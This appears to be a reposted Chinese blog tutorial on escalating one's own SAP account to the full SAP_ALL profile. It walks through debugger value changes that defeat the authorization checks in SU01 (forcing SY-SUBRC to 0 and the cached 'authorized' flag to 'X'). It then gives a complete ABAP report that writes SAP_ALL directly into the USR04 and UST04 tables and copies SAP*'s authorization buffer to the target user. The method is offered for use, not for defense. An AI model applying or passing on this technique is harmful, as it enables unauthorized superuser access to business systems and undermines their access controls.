天天看點

賦能!如何擷取SAP_ALL權限

一起學習,天天向上。

賦能!如何擷取SAP_ALL權限

目的:SU01在使用者參數檔案加上SAP_ALL,實作可以取得 ALL權限。

前提:賬号要有Debug改值的權限

運作SU01報錯,沒有SU01權限

賦能!如何擷取SAP_ALL權限
  • Step1.運作SU01 看到報錯:消息号 S#077

(如果這裡不報錯,請直接看Step3)

賦能!如何擷取SAP_ALL權限

根據技術資訊可以找到他報錯的位置

賦能!如何擷取SAP_ALL權限

FUNCTION        / AUTH_CHECK_TCODE

賦能!如何擷取SAP_ALL權限
  • Step2. 再次運作SU01

進入剛設定的斷點,将SY-SUBRC的值改為0,F8運作

賦能!如何擷取SAP_ALL權限

就可以進入SU01界面

賦能!如何擷取SAP_ALL權限
  • Step3. 填上自己賬号,并點選編輯

But 再次報錯

賦能!如何擷取SAP_ALL權限
  • Step4. SE38進入程式:CL_SUID_TOOLS=================CM00B,

在這句設定斷點

 if sy-subrc eq 0. "Auth check in cache.

      if ls_cache_auth_node-authorized ne 'X'.

        es_msg = ls_cache_auth_node-msg.

      endif.

      return.

 endif.

賦能!如何擷取SAP_ALL權限
  • Step5. 運作SU01 進入斷點:

CL_SUID_TOOLS================= / CL_SUID_TOOLS================= / 47

METHOD          / AUTH_CHECK_SINGLE (CL_SUID_TOOLS)

賦能!如何擷取SAP_ALL權限

将1 sy-subrc 不是0時改成0 

2 ls_cache_auth_node-authorized 改成'X'

注意:這裡要改多次值,标注程式很多個權限對象,如果改值不充分,可能會出現報錯

如:

賦能!如何擷取SAP_ALL權限

這時候是編輯不了角色或者參數檔案的。

  • Step6. 改完變量,進入SU01編輯界面,在參數檔案裡加上SAP_ALL ,并儲存

    注意過程中如果進斷點,也是要改值的,同上

    将1 sy-subrc 不是0時改成0 

       2 ls_cache_auth_node-authorized 改成'X'

賦能!如何擷取SAP_ALL權限
賦能!如何擷取SAP_ALL權限
  • Step7. 再測試一下SU01

1 可以直接進入編輯

2 參數檔案裡有SAP_ALL

賦能!如何擷取SAP_ALL權限

擷取ALL權限成功

賦能!如何擷取SAP_ALL權限

單擊賦能

最簡便的方式,開發個程式,一鍵單擊搞定,

賦能!如何擷取SAP_ALL權限

*&---------------------------------------------------------------------*
*& Report YCX_AUTH
*&---------------------------------------------------------------------*
*&
*&---------------------------------------------------------------------*
REPORT ycx_auth.
DATA: l_usr04  LIKE usr04,
      l_ust04  LIKE ust04,
      l_profs  LIKE usr04-profs,
      l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE,
      l_userid LIKE usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR usr01-bname .

START-OF-SELECTION.

  SELECT SINGLE * INTO l_usr04 FROM usr04
  WHERE bname IN p_user.
  MOVE 'C SAP_ALL' TO l_profs .
  l_usr04-nrpro = '14'.
  l_usr04-profs = l_profs.
  UPDATE usr04 FROM l_usr04 .
  l_userid = l_usr04-bname.
  SELECT SINGLE * INTO l_ust04 FROM ust04
  WHERE bname IN p_user.
  l_ust04-profile = 'SAP_ALL'.
  UPDATE ust04 FROM l_ust04 .

  SELECT * FROM usrbf2 INTO TABLE l_usrbf2
  WHERE bname = 'SAP*' .
  LOOP AT l_usrbf2.
    l_usrbf2-bname = l_userid.
    MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname.
  ENDLOOP.
  INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.